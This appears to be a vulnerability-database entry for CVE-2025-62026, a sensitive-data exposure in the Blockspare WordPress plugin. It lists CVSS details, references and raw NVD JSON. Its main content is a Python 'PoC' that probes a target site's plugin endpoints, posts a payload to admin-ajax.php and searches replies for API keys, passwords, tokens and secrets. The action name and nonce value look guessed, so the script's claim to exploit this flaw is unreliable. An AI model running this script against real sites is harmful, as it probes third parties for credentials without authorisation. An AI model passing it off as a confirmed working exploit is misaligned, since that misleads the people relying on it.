CVE-2025-62026

Description

Insertion of Sensitive Information Into Sent Data vulnerability in Blockspare Blockspare blockspare allows Retrieve Embedded Sensitive Data.This issue affects Blockspare: from n/a through <= 3.2.13.2.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Blockspare Plugin < 3.2.13.2

Blockspare Plugin <= 3.2.13.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-62026 Blockspare Sensitive Data Exposure PoC
# Target: WordPress site with Blockspare plugin <= 3.2.13.2

import requests
import sys

def check_blockspare_version(target_url):
    """Check Blockspare plugin version"""
    # Check wp-admin/plugins.php or readme.txt
    endpoints = [
        f"{target_url}/wp-content/plugins/blockspare/readme.txt",
        f"{target_url}/wp-json/wp/v2/plugins?search=blockspare"
    ]
    
    for endpoint in endpoints:
        try:
            response = requests.get(endpoint, timeout=10)
            if response.status_code == 200:
                print(f"[+] Found endpoint: {endpoint}")
                print(response.text[:500])
        except Exception as e:
            print(f"[-] Error: {e}")

def exploit_sensitive_data(target_url):
    """Exploit CVE-2025-62026"""
    # Common blockspare AJAX endpoints
    ajax_endpoints = [
        f"{target_url}/wp-admin/admin-ajax.php",
        f"{target_url}/wp-json/blockspare/v1/"
    ]
    
    # Sensitive data retrieval attempts
    payload = {
        'action': 'blockspare_get_data',
        'nonce': 'test',
        'component': 'sensitive_content'
    }
    
    for endpoint in ajax_endpoints:
        print(f"[*] Testing endpoint: {endpoint}")
        try:
            response = requests.post(endpoint, data=payload, timeout=10)
            if response.status_code == 200:
                content = response.text
                # Check for sensitive data patterns
                if any(keyword in content.lower() for keyword in ['api_key', 'password', 'token', 'secret']):
                    print(f"[!] Potential sensitive data found at {endpoint}")
                    print(content[:1000])
        except Exception as e:
            print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python cve-2025-62026.py <target_url>")
        sys.exit(1)
    
    target = sys.argv[1]
    print(f"[*] Scanning {target} for CVE-2025-62026")
    check_blockspare_version(target)
    exploit_sensitive_data(target)
    print("[*] Scan complete")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62026
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62026
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62026/
[4] VulDB https://vuldb.com/cve/CVE-2025-62026
[5] https://patchstack.com/database/Wordpress/Plugin/blockspare/vulnerability/wordpress-blockspare-plugin-3-2-13-2-sensitive-data-exposure-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62026", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:16:04.037", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insertion of Sensitive Information Into Sent Data vulnerability in Blockspare Blockspare blockspare allows Retrieve Embedded Sensitive Data.This issue affects Blockspare: from n/a through <= 3.2.13.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/blockspare/vulnerability/wordpress-blockspare-plugin-3-2-13-2-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}